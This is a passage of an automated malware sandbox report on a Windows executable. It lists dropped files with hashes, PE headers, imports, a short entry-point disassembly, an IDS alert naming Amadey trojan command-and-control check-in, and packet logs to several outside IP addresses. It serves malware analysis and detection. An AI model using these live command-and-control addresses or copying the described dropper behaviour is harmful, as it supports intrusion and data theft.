Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCCD.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCF89.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCFB9.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD018.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD0D.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD0E.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE93E.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE93F.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ABA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\trgavvb Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	283648
Entropy (8bit):	6.762829731366341
Encrypted:	false
SSDEEP:	6144:dQA1Si1KWwlU5p72W+d86u+dGsp9tEl0zX:r1Si1Nwly7cd86ugztPX
MD5:	11FCF104DB2DF01616A5200A1FAE77DC
SHA1:	CCB3E9501E757938D70A9176159D8C6722C722A9
SHA-256:	29B6332D9F6EA83BEA4F3F02D4D163B93448A04566CB1F4FF0228D73C6F2E2F7
SHA-512:	44B9C656A5121AFBAB3114184AB2A91D6B9090CDBBB2000F703B5558F33618EF2354429F640B4A241629DE66D2D7025F22C784FF3E73D39A229167240E00466B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Ix.;...h...h...h.K`h...h.Kvhf..h.Kqh:..h*.h...h...h...h.K.h...h.Kah...h.Kdh...hRich...h................PE..L.....W^.....................2......p.............@..................................P.......................................Z..<...................................`................................P..@............................................text...0........................... ..`.rdata..............................@..@.data...<....p.......N..............@....rsrc................^..............@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\trgavvb:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.762829731366341
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	b7cwlpwH6S.exe
File size:	283648
MD5:	11fcf104db2df01616a5200a1fae77dc
SHA1:	ccb3e9501e757938d70a9176159d8c6722c722a9
SHA256:	29b6332d9f6ea83bea4f3f02d4d163b93448a04566cb1f4ff0228d73c6f2e2f7
SHA512:	44b9c656a5121afbab3114184ab2a91d6b9090cdbbb2000f703b5558f33618ef2354429f640b4a241629de66d2d7025f22c784ff3e73d39a229167240e00466b
SSDEEP:	6144:dQA1Si1KWwlU5p72W+d86u+dGsp9tEl0zX:r1Si1Nwly7cd86ugztPX
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Ix.;...h...h...h.K`h...h.Kvhf..h.Kqh:..h*..h...h...h...h.K.h...h.Kah...h.Kdh...hRich...h................PE..L.....W^...........

File Icon


Icon Hash:	aedaae9ec6a68aa4

Static PE Info

General
Entrypoint:	0x401c70
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5E57E19D [Thu Feb 27 15:34:53 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	ad1c5bf15a899fcfef408e3485448e67

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F93ACDD734Bh
call 00007F93ACDCFE56h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 004252F8h
push 00404D70h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00427044h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0041E114h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F93ACDCFE68h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F93ACDCFF98h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F93ACDCFFD4h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F93ACDD840Ah
add esp, 04h
test eax, eax
jne 00007F93ACDCFE4Ch
push 0000001Ch
call 00007F93ACDCFF8Ch
add esp, 04h
call 00007F93ACDD3294h
test eax, eax
jne 00007F93ACDCFE4Ch
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25a18	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1fa0000	0xf4f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1e260	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x250e0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x20c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1c330	0x1c400	False	0.462398022677	data	6.2832391595	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x1e000	0x85f0	0x8600	False	0.302559468284	data	4.79371407653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x1f78a3c	0x11000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x1fa0000	0xf4f8	0xf600	False	0.520372840447	data	5.5499490625	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
JOD	0x1fadb78	0x2fa	ASCII text, with very long lines, with no line terminators
JOPEGAJAYUSOWIDOVAPODEHIZAGODUJO	0x1fad7a0	0x3d8	ASCII text, with very long lines, with no line terminators
PIZUFEWAMO	0x1fac8b8	0xee8	ASCII text, with very long lines, with no line terminators
RT_CURSOR	0x1fadf90	0x130	data
RT_CURSOR	0x1fae0d8	0x130	data
RT_CURSOR	0x1fae208	0xf0	data
RT_CURSOR	0x1fae2f8	0x10a8	dBase III DBT, version number 0, next free block index 40
RT_ICON	0x1fa06f0	0x25a8	dBase III DBT, version number 0, next free block index 40	French	Switzerland
RT_ICON	0x1fa2cb0	0x8a8	data	French	Switzerland
RT_ICON	0x1fa3558	0x6c8	data	French	Switzerland
RT_ICON	0x1fa3c20	0x568	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ICON	0x1fa4188	0x10a8	data	French	Switzerland
RT_ICON	0x1fa5230	0x988	data	French	Switzerland
RT_ICON	0x1fa5bb8	0x468	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ICON	0x1fa6080	0xea8	data	French	Switzerland
RT_ICON	0x1fa6f28	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 7243330, next used block 13885368	French	Switzerland
RT_ICON	0x1fa77d0	0x6c8	data	French	Switzerland
RT_ICON	0x1fa7e98	0x568	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ICON	0x1fa8400	0x25a8	data	French	Switzerland
RT_ICON	0x1faa9a8	0x10a8	data	French	Switzerland
RT_ICON	0x1faba50	0x988	data	French	Switzerland
RT_ICON	0x1fac3d8	0x468	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ACCELERATOR	0x1fadef8	0x98	data
RT_ACCELERATOR	0x1fade78	0x80	data
RT_GROUP_CURSOR	0x1fae0c0	0x14	data
RT_GROUP_CURSOR	0x1faf3a0	0x30	data
RT_GROUP_ICON	0x1fa2c98	0x14	data	French	Switzerland
RT_GROUP_ICON	0x1fac840	0x76	data	French	Switzerland
RT_GROUP_ICON	0x1fa6020	0x5a	data	French	Switzerland
RT_VERSION	0x1faf3d0	0x124	data

Imports

DLL

Import

KERNEL32.dll

SetFilePointer, lstrlenA, GetDriveTypeW, InterlockedIncrement, GetQueuedCompletionStatus, InterlockedDecrement, CompareFileTime, GetSystemWindowsDirectoryW, GetNamedPipeHandleStateA, WaitForSingleObject, OpenSemaphoreA, FreeEnvironmentStringsA, GetTickCount, VirtualFree, GetConsoleAliasesLengthA, GetPrivateProfileStringW, WaitNamedPipeW, WriteFile, SetCommState, GetCommandLineA, TlsSetValue, GetPriorityClass, GlobalAlloc, GetConsoleMode, TerminateThread, CopyFileW, GetVersionExW, SetConsoleMode, IsProcessorFeaturePresent, GetBinaryTypeA, GetOverlappedResult, CompareStringW, SetThreadContext, GlobalUnlock, VerifyVersionInfoW, CreateDirectoryA, ReleaseActCtx, GetFileSizeEx, SetCurrentDirectoryA, GetCPInfoExW, OpenMutexW, GetLastError, IsDBCSLeadByteEx, ReadConsoleOutputCharacterA, GetProcAddress, WriteProfileSectionA, ResetEvent, OpenWaitableTimerA, LoadLibraryA, CreateSemaphoreW, WriteProfileSectionW, HeapWalk, FindAtomA, Process32NextW, WriteProfileStringA, GetModuleHandleA, FindFirstChangeNotificationA, EnumResourceNamesA, GetConsoleCursorInfo, FatalAppExitA, GetCurrentThreadId, GetSystemTime, LCMapStringW, CopyFileExA, DeleteFileA, GetStartupInfoW, UnregisterWait, GetStartupInfoA, HeapValidate, IsBadReadPtr, RaiseException, GetModuleHandleW, Sleep, ExitProcess, TlsGetValue, TlsAlloc, TlsFree, SetLastError, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetModuleFileNameW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, HeapDestroy, HeapCreate, HeapFree, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetConsoleCP, DebugBreak, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, LCMapStringA, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CreateFileA, CloseHandle, FlushFileBuffers

GDI32.dll

GetCharWidthW

Version Infos

Description	Data
Translation	0x520a 0x0517

Possible Origin

Language of compilation system	Country where language is spoken	Map
French	Switzerland

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/21/21-21:45:54.137198	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.7	8.8.8.8
08/21/21-21:45:55.123167	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.7	8.8.8.8
08/21/21-21:45:56.170626	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.7	8.8.8.8
08/21/21-21:46:56.846103	TCP	2027700	ET TROJAN Amadey CnC Check-In	49759	80	192.168.2.7	185.215.113.206

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2021 21:45:53.598969936 CEST	49705	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:53.757054090 CEST	80	49705	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:53.757297039 CEST	49705	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:53.757441998 CEST	49705	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:53.757457018 CEST	49705	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:53.915587902 CEST	80	49705	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:54.467076063 CEST	80	49705	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:54.467333078 CEST	49705	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:54.467490911 CEST	80	49705	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:54.467588902 CEST	49705	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:54.791840076 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:54.909833908 CEST	49705	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:54.951946020 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:54.952050924 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:54.952224016 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:54.952260017 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:55.067555904 CEST	80	49705	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:55.112097025 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.112245083 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.112364054 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.483082056 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.483110905 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.483237028 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:55.483304024 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:55.483310938 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:55.531512022 CEST	49707	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:55.643007040 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.643060923 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.643152952 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:55.643201113 CEST	80	49706	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:55.643337011 CEST	49706	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:55.690890074 CEST	80	49707	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:55.693171978 CEST	49707	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:55.693383932 CEST	49707	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:55.694509983 CEST	49707	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:55.854785919 CEST	80	49707	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:56.388920069 CEST	80	49707	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:56.389144897 CEST	49707	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:56.389169931 CEST	80	49707	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:56.389233112 CEST	49707	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:56.446124077 CEST	49708	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:56.548880100 CEST	80	49707	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:56.604127884 CEST	80	49708	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:56.604430914 CEST	49708	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:56.604475975 CEST	49708	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:56.604482889 CEST	49708	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:56.763098955 CEST	80	49708	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:57.305573940 CEST	80	49708	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:57.305600882 CEST	80	49708	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:57.305740118 CEST	49708	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:57.305862904 CEST	49708	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:45:57.375076056 CEST	49709	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:57.462608099 CEST	80	49708	148.101.76.245	192.168.2.7
Aug 21, 2021 21:45:57.541685104 CEST	80	49709	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:57.541837931 CEST	49709	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:57.541991949 CEST	49709	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:57.542391062 CEST	49709	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:57.746646881 CEST	80	49709	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:58.086580038 CEST	80	49709	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:58.086600065 CEST	80	49709	187.190.48.60	192.168.2.7
Aug 21, 2021 21:45:58.086718082 CEST	49709	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:58.086786985 CEST	49709	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:45:58.112591028 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.139848948 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.139981031 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.140116930 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.166984081 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168387890 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168431997 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168469906 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168487072 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.168509007 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168546915 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168562889 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.168596983 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168641090 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168644905 CEST	49710	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:45:58.168678999 CEST	80	49710	45.138.172.28	192.168.2.7
Aug 21, 2021 21:45:58.168716908 CEST	80	49710	45.138.172.28	192.168.2.7
